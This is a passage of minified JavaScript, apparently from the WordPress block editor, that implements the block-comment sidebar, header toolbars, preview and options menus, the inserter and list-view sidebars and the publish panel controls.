g_({showCommentBoard:e,setShowCommentBoard:t,styles:s,comments:o}){const{createNotice:n}=(0,c.useDispatch)(_s.store),{saveEntityRecord:i,deleteEntityRecord:r}=(0,c.useDispatch)(d.store),{getEntityRecord:a}=(0,c.resolveSelect)(d.store),{postId:l}=(0,c.useSelect)((e=>{const{getCurrentPostId:t}=e(Ac);return{postId:t()}}),[]),{getSelectedBlockClientId:u}=(0,c.useSelect)(h.store),{updateBlockAttributes:p}=(0,c.useDispatch)(h.store),m=async(e,t)=>{const s={...{post:l,content:e,comment_type:"block_comment",comment_approved:0},...t?{parent:t}:{}},o=await i("root","comment",s);o?(t||p(u(),{blockCommentId:o?.id}),n("snackbar",t?(0,fs.__)("Reply added successfully."):(0,fs.__)("Comment added successfully."),{type:"snackbar",isDismissible:!0})):g()},g=()=>{n("error",(0,fs.__)("Something went wrong. Please try publishing the post, or you may have already submitted your comment earlier."),{isDismissible:!0})};return(0,L.jsxs)("div",{className:"editor-collab-sidebar-panel",style:s,children:[(0,L.jsx)(d_,{onSubmit:m,showCommentBoard:e,setShowCommentBoard:t}),(0,L.jsx)(a_,{threads:o,onEditComment:async(e,t)=>{await i("root","comment",{id:e,content:t})?n("snackbar",(0,fs.__)("Comment edited successfully."),{type:"snackbar",isDismissible:!0}):g()},onAddReply:m,onCommentDelete:async e=>{const t=await a("root","comment",e);await r("root","comment",e),t&&!t.parent&&p(u(),{blockCommentId:void 0}),n("snackbar",(0,fs.__)("Comment deleted successfully."),{type:"snackbar",isDismissible:!0})},onCommentResolve:async e=>{await i("root","comment",{id:e,status:"approved"})?n("snackbar",(0,fs.__)("Comment marked as resolved."),{type:"snackbar",isDismissible:!0}):g()},showCommentBoard:e,setShowCommentBoard:t},u())]})}function __(){const[e,t]=(0,u.useState)(!1),{enableComplementaryArea:s}=(0,c.useDispatch)(Ua),{getActiveComplementaryArea:o}=(0,c.useSelect)(Ua),{postId:n,postType:i,postStatus:r,threads:a}=(0,c.useSelect)((e=>{const{getCurrentPostId:t,getCurrentPostType:s}=e(Ac),o=t(),n=o&&"number"==typeof o?e(d.store).getEntityRecords("root","comment",{post:o,type:"block_comment",status:"any",per_page:100}):null;return{postId:o,postType:s(),postStatus:e(Ac).getEditedPostAttribute("status"),threads:n}}),[]),{blockCommentId:l}=(0,c.useSelect)((e=>{const{getBlockAttributes:t,getSelectedBlockClientId:s}=e(h.store),o=s();return{blockCommentId:o?t(o)?.blockCommentId:null}}),[]),[p]=(0,d.useEntityBlockEditor)("postType",i,{id:n}),{resultComments:m,sortedThreads:g}=(0,u.useMemo)((()=>{const e={},t=[],s=(null!=a?a:[]).filter((e=>"trash"!==e.status));if(s.forEach((t=>{e[t.id]={...t,reply:[]}})),s.forEach((s=>{0===s.parent?t.push(e[s.id]):e[s.parent]&&e[s.parent].reply.push(e[s.id])})),0===t?.length)return{resultComments:[],sortedThreads:[]};const o=t.map((e=>({...e,reply:[...e.reply].reverse()}))),n=function(e){const t=e=>e.reduce(((e,s)=>{if(s.attributes&&s.attributes.blockCommentId&&!e.includes(s.attributes.blockCommentId)&&e.push(s.attributes.blockCommentId),s.innerBlocks&&s.innerBlocks.length>0){const o=t(s.innerBlocks);e.push(...o)}return e}),[]);return t(e)}(p),i=new Map(o.map((e=>[e.id,e])));return{resultComments:o,sortedThreads:n.map((e=>i.get(e))).filter((e=>void 0!==e))}}),[a,p]),{merged:_}=Wr(),f=_?.styles?.color?.background;if(0<m.length){const e=(0,c.subscribe)((()=>{o("core")||(s("core",o_),e())}))}if("publish"===r)return null;const b=l?h_:p_;return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(b,{onClick:()=>{t(!0),s("core","edit-post/collab-sidebar")}}),(0,L.jsx)(Lu,{identifier:"edit-post/collab-history-sidebar",title:(0,fs.__)("Comments"),icon:s_,children:(0,L.jsx)(g_,{comments:m,showCommentBoard:e,setShowCommentBoard:t})}),(0,L.jsx)(Lu,{isPinnable:!1,header:!1,identifier:o_,className:"editor-collab-sidebar",headerClassName:"editor-collab-sidebar__header",children:(0,L.jsx)(g_,{comments:g,showCommentBoard:e,setShowCommentBoard:t,styles:{backgroundColor:f}})})]})}(0,m.addFilter)("blocks.registerBlockType","block-comment/modify-core-block-attributes",(e=>(e.attributes.blockCommentId||(e.attributes={...e.attributes,blockCommentId:{type:"number"}}),e)));const f_=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z"})}),b_=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z"})}),{useHasBlockToolbar:y_}=$(h.privateApis);function x_({isCollapsed:e,onToggle:t}){const{blockSelectionStart:s}=(0,c.useSelect)((e=>({blockSelectionStart:e(h.store).getBlockSelectionStart()})),[]),o=y_(),n=!!s;return(0,u.useEffect)((()=>{s&&t(!1)}),[s,t]),o?(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)("div",{className:Di("editor-collapsible-block-toolbar",{"is-collapsed":e||!n}),children:(0,L.jsx)(h.BlockToolbar,{hideDragHandle:!0})}),(0,L.jsx)(Uo.Popover.Slot,{name:"block-toolbar"}),(0,L.jsx)(Uo.Button,{className:"editor-collapsible-block-toolbar__toggle",icon:e?f_:b_,onClick:()=>{t(!e)},label:e?(0,fs.__)("Show block tools"):(0,fs.__)("Hide block tools"),size:"compact"})]}):null}const v_=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z"})});const S_=function({className:e,disableBlockTools:t=!1}){const{setIsInserterOpened:s,setIsListViewOpened:o}=(0,c.useDispatch)(Ac),{isDistractionFree:n,isInserterOpened:i,isListViewOpen:r,listViewShortcut:a,inserterSidebarToggleRef:l,listViewToggleRef:d,showIconLabels:m,showTools:g}=(0,c.useSelect)((e=>{const{get:t}=e(k.store),{isListViewOpened:s,getEditorMode:o,getInserterSidebarToggleRef:n,getListViewToggleRef:i,getRenderingMode:r,getCurrentPostType:a}=$(e(Ac)),{getShortcutRepresentation:l}=e(vl.store);return{isInserterOpened:e(Ac).isInserterOpened(),isListViewOpen:s(),listViewShortcut:l("core/editor/toggle-list-view"),inserterSidebarToggleRef:n(),listViewToggleRef:i(),showIconLabels:t("core","showIconLabels"),isDistractionFree:t("core","distractionFree"),isVisualMode:"visual"===o(),showTools:!!window?.__experimentalEditorWriteMode&&("post-only"!==r()||"wp_template"===a())}}),[]),_=(0,p.useViewportMatch)("medium"),f=(0,p.useViewportMatch)("wide"),b=(0,fs.__)("Document tools"),y=(0,u.useCallback)((()=>o(!r)),[o,r]),x=(0,u.useCallback)((()=>s(!i)),[i,s]),v=(0,fs._x)("Block Inserter","Generic label for block inserter button"),S=i?(0,fs.__)("Close"):(0,fs.__)("Add");return(0,L.jsx)(h.NavigableToolbar,{className:Di("editor-document-tools","edit-post-header-toolbar",e),"aria-label":b,variant:"unstyled",children:(0,L.jsxs)("div",{className:"editor-document-tools__left",children:[!n&&(0,L.jsx)(Uo.ToolbarButton,{ref:l,className:"editor-document-tools__inserter-toggle",variant:"primary",isPressed:i,onMouseDown:e=>{i&&e.preventDefault()},onClick:x,disabled:t,icon:v_,label:m?S:v,showTooltip:!m,"aria-expanded":i}),(f||!m)&&(0,L.jsxs)(L.Fragment,{children:[g&&_&&(0,L.jsx)(Uo.ToolbarItem,{as:h.ToolSelector,showTooltip:!m,variant:m?"tertiary":void 0,disabled:t,size:"compact"}),(0,L.jsx)(Uo.ToolbarItem,{as:hd,showTooltip:!m,variant:m?"tertiary":void 0,size:"compact"}),(0,L.jsx)(Uo.ToolbarItem,{as:md,showTooltip:!m,variant:m?"tertiary":void 0,size:"compact"}),!n&&(0,L.jsx)(Uo.ToolbarButton,{className:"editor-document-tools__document-overview-toggle",icon:la,disabled:t,isPressed:r,label:(0,fs.__)("Document Overview"),onClick:y,shortcut:a,showTooltip:!m,variant:m?"tertiary":void 0,"aria-expanded":r,ref:d})]})]})})};function w_(){const{createNotice:e}=(0,c.useDispatch)(_s.store),{getCurrentPostId:t,getCurrentPostType:s}=(0,c.useSelect)(Ac),{getEditedEntityRecord:o}=(0,c.useSelect)(d.store);const n=(0,p.useCopyToClipboard)((function(){const e=o("postType",s(),t());return e?"function"==typeof e.content?e.content(e):e.blocks?(0,y.__unstableSerializeAndClean)(e.blocks):e.content?e.content:void 0:""}),(function(){e("info",(0,fs.__)("All content copied."),{isDismissible:!0,type:"snackbar"})}));return(0,L.jsx)(Uo.MenuItem,{ref:n,children:(0,fs.__)("Copy all blocks")})}const k_=[{value:"visual",label:(0,fs.__)("Visual editor")},{value:"text",label:(0,fs.__)("Code editor")}];const C_=function(){const{shortcut:e,isRichEditingEnabled:t,isCodeEditingEnabled:s,mode:o}=(0,c.useSelect)((e=>({shortcut:e(vl.store).getShortcutRepresentation("core/editor/toggle-mode"),isRichEditingEnabled:e(Ac).getEditorSettings().richEditingEnabled,isCodeEditingEnabled:e(Ac).getEditorSettings().codeEditingEnabled,mode:e(Ac).getEditorMode()})),[]),{switchEditorMode:n}=(0,c.useDispatch)(Ac);let i=o;t||"visual"!==o||(i="text"),s||"text"!==o||(i="visual");const r=k_.map((o=>(s||"text"!==o.value||(o={...o,disabled:!0}),t||"visual"!==o.value||(o={...o,disabled:!0,info:(0,fs.__)("You can enable the visual editor in your profile settings.")}),o.value===i||o.disabled?o:{...o,shortcut:e})));return(0,L.jsx)(Uo.MenuGroup,{label:(0,fs.__)("Editor"),children:(0,L.jsx)(Uo.MenuItemsChoice,{choices:r,value:i,onSelect:n})})},{Fill:P_,Slot:j_}=(0,Uo.createSlotFill)("ToolsMoreMenuGroup");P_.Slot=({fillProps:e})=>(0,L.jsx)(j_,{fillProps:e});const E_=P_,{Fill:T_,Slot:B_}=(0,Uo.createSlotFill)("web"===u.Platform.OS?Symbol("ViewMoreMenuGroup"):"ViewMoreMenuGroup");T_.Slot=({fillProps:e})=>(0,L.jsx)(B_,{fillProps:e});const I_=T_;function N_(){const{openModal:e}=(0,c.useDispatch)(Ua),{set:t}=(0,c.useDispatch)(k.store),{toggleDistractionFree:s}=(0,c.useDispatch)(Ac),o=(0,c.useSelect)((e=>e(k.store).get("core","showIconLabels")),[]),n=()=>{t("core","distractionFree",!1)};return(0,L.jsx)(L.Fragment,{children:(0,L.jsx)(Uo.DropdownMenu,{icon:n_,label:(0,fs.__)("Options"),popoverProps:{placement:"bottom-end",className:"more-menu-dropdown__content"},toggleProps:{showTooltip:!o,...o&&{variant:"tertiary"},tooltipPosition:"bottom",size:"compact"},children:({onClose:t})=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(Uo.MenuGroup,{label:(0,fs._x)("View","noun"),children:[(0,L.jsx)(k.PreferenceToggleMenuItem,{scope:"core",name:"fixedToolbar",onToggle:n,label:(0,fs.__)("Top toolbar"),info:(0,fs.__)("Access all block and document tools in a single place"),messageActivated:(0,fs.__)("Top toolbar activated."),messageDeactivated:(0,fs.__)("Top toolbar deactivated.")}),(0,L.jsx)(k.PreferenceToggleMenuItem,{scope:"core",name:"distractionFree",label:(0,fs.__)("Distraction free"),info:(0,fs.__)("Write with calmness"),handleToggling:!1,onToggle:()=>s({createNotice:!1}),messageActivated:(0,fs.__)("Distraction free mode activated."),messageDeactivated:(0,fs.__)("Distraction free mode deactivated."),shortcut:wl.displayShortcut.primaryShift("\\")}),(0,L.jsx)(k.PreferenceToggleMenuItem,{scope:"core",name:"focusMode",label:(0,fs.__)("Spotlight mode"),info:(0,fs.__)("Focus on one block at a time"),messageActivated:(0,fs.__)("Spotlight mode activated."),messageDeactivated:(0,fs.__)("Spotlight mode deactivated.")}),(0,L.jsx)(I_.Slot,{fillProps:{onClose:t}})]}),(0,L.jsx)(C_,{}),(0,L.jsx)(Za.Slot,{name:"core/plugin-more-menu",label:(0,fs.__)("Plugins"),fillProps:{onClick:t}}),(0,L.jsxs)(Uo.MenuGroup,{label:(0,fs.__)("Tools"),children:[(0,L.jsx)(Uo.MenuItem,{onClick:()=>e("editor/keyboard-shortcut-help"),shortcut:wl.displayShortcut.access("h"),children:(0,fs.__)("Keyboard shortcuts")}),(0,L.jsx)(w_,{}),(0,L.jsxs)(Uo.MenuItem,{icon:Fo,href:(0,fs.__)("https://wordpress.org/documentation/article/wordpress-block-editor/"),target:"_blank",rel:"noopener noreferrer",children:[(0,fs.__)("Help"),(0,L.jsx)(Uo.VisuallyHidden,{as:"span",children:(0,fs.__)("(opens in a new tab)")})]}),(0,L.jsx)(E_.Slot,{fillProps:{onClose:t}})]}),(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsx)(Uo.MenuItem,{onClick:()=>e("editor/preferences"),children:(0,fs.__)("Preferences")})})]})})})}const D_="toggle",A_="button";function R_({forceIsDirty:e,setEntitiesSavedStatesCallback:t}){let s;const o=(0,p.useViewportMatch)("medium","<"),{togglePublishSidebar:n}=(0,c.useDispatch)(Ac),{hasPublishAction:i,isBeingScheduled:r,isPending:a,isPublished:l,isPublishSidebarEnabled:d,isPublishSidebarOpened:u,isScheduled:m,postStatus:h,postStatusHasChanged:g}=(0,c.useSelect)((e=>{var t;return{hasPublishAction:null!==(t=!!e(Ac).getCurrentPost()?._links?.["wp:action-publish"])&&void 0!==t&&t,isBeingScheduled:e(Ac).isEditedPostBeingScheduled(),isPending:e(Ac).isCurrentPostPending(),isPublished:e(Ac).isCurrentPostPublished(),isPublishSidebarEnabled:e(Ac).isPublishSidebarEnabled(),isPublishSidebarOpened:e(Ac).isPublishSidebarOpened(),isScheduled:e(Ac).isCurrentPostScheduled(),postStatus:e(Ac).getEditedPostAttribute("status"),postStatusHasChanged:e(Ac).getPostEdits()?.status}}),[]);return s=l||g&&!["future","publish"].includes(h)||m&&r||a&&!i&&!o?A_:o||d?D_:A_,(0,L.jsx)(Gp,{forceIsDirty:e,isOpen:u,isToggle:s===D_,onToggle:n,setEntitiesSavedStatesCallback:t})}function M_(){const{hasLoaded:e,permalink:t,isPublished:s,label:o,showIconLabels:n}=(0,c.useSelect)((e=>{const t=e(Ac).getCurrentPostType(),s=e(d.store).getPostType(t),{get:o}=e(k.store);return{permalink:e(Ac).getPermalink(),isPublished:e(Ac).isCurrentPostPublished(),label:s?.labels.view_item,hasLoaded:!!s,showIconLabels:o("core","showIconLabels")}}),[]);return s&&t&&e?(0,L.jsx)(Uo.Button,{icon:Fo,label:o||(0,fs.__)("View post"),href:t,target:"_blank",showTooltip:!n,size:"compact"}):null}const L_=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M20.5 16h-.7V8c0-1.1-.9-2-2-2H6.2c-1.1 0-2 .9-2 2v8h-.7c-.8 0-1.5.7-1.5 1.5h20c0-.8-.7-1.5-1.5-1.5zM5.7 8c0-.3.2-.5.5-.5h11.6c.3 0 .5.2.5.5v7.6H5.7V8z"})}),O_=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M15 4H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h6c.3 0 .5.2.5.5v12zm-4.5-.5h2V16h-2v1.5z"})}),F_=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M17 4H7c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12zm-7.5-.5h4V16h-4v1.5z"})});function V_({forceIsAutosaveable:e,disabled:t}){const{deviceType:s,homeUrl:o,isTemplate:n,isViewable:i,showIconLabels:r,isTemplateHidden:a,templateId:l}=(0,c.useSelect)((e=>{var t;const{getDeviceType:s,getCurrentPostType:o,getCurrentTemplateId:n}=e(Ac),{getRenderingMode:i}=$(e(Ac)),{getEntityRecord:r,getPostType:a}=e(d.store),{get:l}=e(k.store),c=o();return{deviceType:s(),homeUrl:r("root","__unstableBase")?.home,isTemplate:"wp_template"===c,isViewable:null!==(t=a(c)?.viewable)&&void 0!==t&&t,showIconLabels:l("core","showIconLabels"),isTemplateHidden:"post-only"===i(),templateId:n()}}),[]),{setDeviceType:u,setRenderingMode:m,setDefaultRenderingMode:g}=$((0,c.useDispatch)(Ac)),{resetZoomLevel:_}=$((0,c.useDispatch)(h.store)),f=e=>{u(e),_()};if((0,p.useViewportMatch)("medium","<"))return null;const b={className:"editor-preview-dropdown__toggle",iconPosition:"right",size:"compact",showTooltip:!r,disabled:t,accessibleWhenDisabled:t},y={"aria-label":(0,fs.__)("View options")},x={desktop:L_,mobile:O_,tablet:F_},v=[{value:"Desktop",label:(0,fs.__)("Desktop"),icon:L_},{value:"Tablet",label:(0,fs.__)("Tablet"),icon:F_},{value:"Mobile",label:(0,fs.__)("Mobile"),icon:O_}];return(0,L.jsx)(Uo.DropdownMenu,{className:Di("editor-preview-dropdown",`editor-preview-dropdown--${s.toLowerCase()}`),popoverProps:{placement:"bottom-end"},toggleProps:b,menuProps:y,icon:x[s.toLowerCase()],label:(0,fs.__)("View"),disableOpenOnArrowDown:t,children:({onClose:t})=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsx)(Uo.MenuItemsChoice,{choices:v,value:s,onSelect:f})}),n&&(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsxs)(Uo.MenuItem,{href:o,target:"_blank",icon:Fo,onClick:t,children:[(0,fs.__)("View site"),(0,L.jsx)(Uo.VisuallyHidden,{as:"span",children:(0,fs.__)("(opens in a new tab)")})]})}),!n&&!!l&&(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsx)(Uo.MenuItem,{icon:a?void 0:Ho,isSelected:!a,role:"menuitemcheckbox",onClick:()=>{const e=a?"template-locked":"post-only";m(e),g(e)},children:(0,fs.__)("Show template")})}),i&&(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsx)(Vp,{className:"editor-preview-dropdown__button-external",role:"menuitem",forceIsAutosaveable:e,"aria-label":(0,fs.__)("Preview in new tab"),textContent:(0,L.jsxs)(L.Fragment,{children:[(0,fs.__)("Preview in new tab"),(0,L.jsx)(Uo.Icon,{icon:Fo})]}),onPreview:t})}),(0,L.jsx)(Za.Slot,{name:"core/plugin-preview-menu",fillProps:{onClick:t}})]})})}const z_=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fill:"none",d:"M5.75 12.75V18.25H11.25M12.75 5.75H18.25V11.25",stroke:"currentColor",strokeWidth:"1.5",strokeLinecap:"square"})}),U_=({disabled:e})=>{const{isZoomOut:t,showIconLabels:s,isDistractionFree:o}=(0,c.useSelect)((e=>({isZoomOut:$(e(h.store)).isZoomOut(),showIconLabels:e(k.store).get("core","showIconLabels"),isDistractionFree:e(k.store).get("core","distractionFree")}))),{resetZoomLevel:n,setZoomLevel:i}=$((0,c.useDispatch)(h.store)),{registerShortcut:r,unregisterShortcut:a}=(0,c.useDispatch)(vl.store);(0,u.useEffect)((()=>(r({name:"core/editor/zoom",category:"global",description:(0,fs.__)("Enter or exit zoom out."),keyCombination:{modifier:(0,wl.isAppleOS)()?"primaryShift":"secondary",character:"0"}}),()=>{a("core/editor/zoom")})),[r,a]),(0,vl.useShortcut)("core/editor/zoom",(()=>{t?n():i("auto-scaled")}),{isDisabled:o});return(0,L.jsx)(Uo.Button,{accessibleWhenDisabled:!0,disabled:e,onClick:()=>{t?n():i("auto-scaled")},icon:z_,label:(0,fs.__)("Zoom Out"),isPressed:t,size:"compact",showTooltip:!s,className:"editor-zoom-out-toggle"})},H_=window?.__experimentalEnableBlockComment,G_={distractionFreeDisabled:{y:"-50px"},distractionFreeHover:{y:0},distractionFreeHidden:{y:"-50px"},visible:{y:0},hidden:{y:0}},$_={distractionFreeDisabled:{x:"-100%"},distractionFreeHover:{x:0},distractionFreeHidden:{x:"-100%"},visible:{x:0},hidden:{x:0}};const W_=function({customSaveButton:e,forceIsDirty:t,forceDisableBlockTools:s,setEntitiesSavedStatesCallback:o,title:n}){const i=(0,p.useViewportMatch)("large"),r=(0,p.useViewportMatch)("medium"),a=(0,p.useMediaQuery)("(max-width: 403px)"),{postType:l,isTextEditor:d,isPublishSidebarOpened:m,showIconLabels:g,hasFixedToolbar:_,hasBlockSelection:f,hasSectionRootClientId:b}=(0,c.useSelect)((e=>{const{get:t}=e(k.store),{getEditorMode:s,getCurrentPostType:o,isPublishSidebarOpened:n}=e(Ac),{getBlockSelectionStart:i,getSectionRootClientId:r}=$(e(h.store));return{postType:o(),isTextEditor:"text"===s(),isPublishSidebarOpened:n(),showIconLabels:t("core","showIconLabels"),hasFixedToolbar:t("core","fixedToolbar"),hasBlockSelection:!!i(),hasSectionRootClientId:!!r()}}),[]),y=["post","page","wp_template"].includes(l)&&b,x=[N,B,I].includes(l)||s,[v,S]=(0,u.useState)(!0),w=!a&&(!_||_&&(!f||v)),C=(()=>{const e=(0,Uo.__experimentalUseSlotFills)(Qg);return Boolean(e&&e.length)})();return(0,L.jsxs)("div",{className:"editor-header edit-post-header",children:[C&&(0,L.jsx)(Uo.__unstableMotion.div,{className:"editor-header__back-button",variants:$_,transition:{type:"tween"},children:(0,L.jsx)(t_.Slot,{})}),(0,L.jsxs)(Uo.__unstableMotion.div,{variants:G_,className:"editor-header__toolbar",transition:{type:"tween"},children:[(0,L.jsx)(S_,{disableBlockTools:s||d}),_&&r&&(0,L.jsx)(x_,{isCollapsed:v,onToggle:S})]}),w&&(0,L.jsx)(Uo.__unstableMotion.div,{className:"editor-header__center",variants:G_,transition:{type:"tween"},children:(0,L.jsx)(Xc,{title:n})}),(0,L.jsxs)(Uo.__unstableMotion.div,{variants:G_,transition:{type:"tween"},className:"editor-header__settings",children:[!e&&!m&&(0,L.jsx)(rh,{forceIsDirty:t}),(0,L.jsx)(M_,{}),(0,L.jsx)(V_,{forceIsAutosaveable:t,disabled:x}),(0,L.jsx)(Vp,{className:"editor-header__post-preview-button",forceIsAutosaveable:t}),i&&y&&(0,L.jsx)(U_,{disabled:s}),(i||!g)&&(0,L.jsx)(Qa.Slot,{scope:"core"}),!e&&(0,L.jsx)(R_,{forceIsDirty:t,setEntitiesSavedStatesCallback:o}),H_?(0,L.jsx)(__,{}):void 0,e,(0,L.jsx)(N_,{})]})]})},{PrivateInserterLibrary:Z_}=$(h.privateApis);function Y_(){const{blockSectionRootClientId:e,inserterSidebarToggleRef:t,inserter:s,showMostUsedBlocks:o,sidebarIsOpened:n}=(0,c.useSelect)((e=>{const{getInserterSidebarToggleRef:t,getInserter:s,isPublishSidebarOpened:o}=$(e(Ac)),{getBlockRootClientId:n,isZoomOut:i,getSectionRootClientId:r}=$(e(h.store)),{get:a}=e(k.store),{getActiveComplementaryArea:l}=e(Ua);return{inserterSidebarToggleRef:t(),inserter:s(),showMostUsedBlocks:a("core","mostUsedBlocks"),blockSectionRootClientId:(()=>{if(i()){const e=r();if(e)return e}return n()})(),sidebarIsOpened:!(!l("core")&&!o())}}),[]),{setIsInserterOpened:i}=(0,c.useDispatch)(Ac),{disableComplementaryArea:r}=(0,c.useDispatch)(Ua),a=(0,p.useViewportMatch)("medium","<"),l=(0,u.useRef)(),d=(0,u.useCallback)((()=>{i(!1),t.current?.focus()}),[t,i]),m=(0,u.useCallback)((e=>{e.keyCode!==wl.ESCAPE||e.defaultPrevented||(e.preventDefault(),d())}),[d]),g=(0,L.jsx)("div",{className:"editor-inserter-sidebar__content",children:(0,L.jsx)(Z_,{showMostUsedBlocks:o,showInserterHelpPanel:!0,shouldFocusBlock:a,rootClientId:e,onSelect:s.onSelect,__experimentalInitialTab:s.tab,__experimentalInitialCategory:s.category,__experimentalFilterValue:s.filterValue,onPatternCategorySelection:n?()=>r("core"):void 0,ref:l,onClose:d})});return(0,L.jsx)("div",{onKeyDown:m,className:"editor-inserter-sidebar",children:g})}function K_(){return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)("div",{className:"editor-list-view-sidebar__outline",children:[(0,L.jsxs)("div",{children:[(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)("Characters:")}),(0,L.jsx)(Uo.__experimentalText,{children:(0,L.jsx)(zh,{})})]}),(0,L.jsxs)("div",{children:[(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)("Words:")}),(0,L.jsx)(Oh,{})]}),(0,L.jsxs)("div",{children:[(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)("Time to read:")}),(0,L.jsx)(Vh,{})]})]}),(0,L.jsx)(ld,{})]})}const{TabbedSidebar:q_}=$(h.privateApis);function Q_(){const{setIsListViewOpened:e}=(0,c.useDispatch)(Ac),{getListViewToggleRef:t}=$((0,c.useSelect)(Ac)),s=(0,p.useFocusOnMount)("firstElement"),o=(0,u.useCallback)((()=>{e(!1),t().current?.focus()}),[t,e]),n=(0,u.useCallback)((e=>{e.keyCode!==wl.ESCAPE||e.defaultPrevented||(e.preventDefault(),o())}),[o]),[i,r]=(0,u.useState)(null),[a,l]=(0,u.useState)("list-view"),d=(0,u.useRef)(),m=(0,u.useRef)(),g=(0,u.useRef)(),_=(0,p.useMergeRefs)([s,g,r]);const f=(0,u.useCallback)((()=>{d.current.contains(d.current.ownerDocument.activeElement)?o():function(e){const t=Kc.focus.tabbable.find(m.current)[0];if("list-view"===e){const e=Kc.focus.tabbable.find(g.current)[0];(d.current.contains(e)?e:t).focus()}else t.focus()}(a)}),[o,a]);return(0,vl.useShortcut)("core/editor/toggle-list-view",f),(0,L.jsx)("div",{className:"editor-list-view-sidebar",onKeyDown:n,ref:d,children:(0,L.jsx)(q_,{tabs:[{name:"list-view",title:(0,fs._x)("List View","Post overview"),panel:(0,L.jsx)("div",{className:"editor-list-view-sidebar__list-view-container",children:(0,L.jsx)("div",{className:"editor-list-view-sidebar__list-view-panel-content",children:(0,L.jsx)(h.__experimentalListView,{dropZoneElement:i})})}),panelRef:_},{name:"outline",title:(0,fs._x)("Outline","Post overview"),panel:(0,L.jsx)("div",{className:"editor-list-view-sidebar__list-view-container",children:(0,L.jsx)(K_,{})})}],onClose:o,onSelect:e=>l(e),defaultTabId:"list-view",ref:m,closeButtonLabel:(0,fs.__)("Close")})})}const{Fill:X_,Slot:J_}=(0,Uo.createSlotFill)("ActionsPanel");function ef({setEntitiesSavedStatesCallback:e,closeEntitiesSavedStates:t,isEntitiesSavedStatesOpen:s,forceIsDirtyPublishPanel:o}){const{closePublishSidebar:n,togglePublishSidebar:i}=(0,c.useDispatch)(Ac),{publishSidebarOpened:r,isPublishable:a,isDirty:l,hasOtherEntitiesChanges:d}=(0,c.useSelect)((e=>{const{isPublishSidebarOpened:t,isEditedPostPublishable:s,isCurrentPostPublished:o,isEditedPostDirty:n,hasNonPostEntityChanges:i}=e(Ac),r=i();return{publishSidebarOpened:t(),isPublishable:!o()&&s(),isDirty:r||n(),hasOtherEntitiesChanges:r}}),[]),p=(0,u.useCallback)((()=>e(!0)),[]);let m;return m=r?(0,L.jsx)(Qm,{onClose:n,forceIsDirty:o,PrePublishExtension:Ru.Slot,PostPublishExtension:ju.Slot}):a&&!d?(0,L.jsx)("div",{className:"editor-layout__toggle-publish-panel",children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"secondary",onClick:i,"aria-expanded":!1,children:(0,fs.__)("Open publish panel")})}):(0,L.jsx)("div",{className:"editor-layout__toggle-entities-saved-states-panel",children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"secondary",onClick:p,"aria-expanded":!1,"aria-haspopup":"dialog",disabled:!l,accessibleWhenDisabled:!0,children:(0,fs.__)("Open save panel")})}),(0,L.jsxs)(L.Fragment,{children:[s&&(0,L.jsx)(jd,{close:t,renderDialog:!0}),(0,L.jsx)(J_,{bubblesVirtually:!0}),!s&&m]})}function tf({autoFocus:e=!1}){const{switchEditorMode:t}=(0,c.useDispatch)(Ac),{shortcut:s,isRichEditingEnabled:o}=(0,c.useSelect)((e=>{const{getEditorSettings:t}=e(Ac),{getShortcutRepresentation:s}=e(vl.store);return{shortcut:s("core/editor/toggle-mode"),isRichEditingEnabled:t().richEditingEnabled}}),[]),n=(0,u.useRef)();return(0,u.useEffect)((()=>{e||n?.current?.focus()}),[e]),(0,L.jsxs)("div",{className:"editor-text-editor",children:[o&&(0,L.jsxs)("div",{className:"editor-text-editor__toolbar",children:[(0,L.jsx)("h2",{children:(0,fs.__)("Editing code")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>t("visual"),shortcut:s,children:(0,fs.__)("Exit code 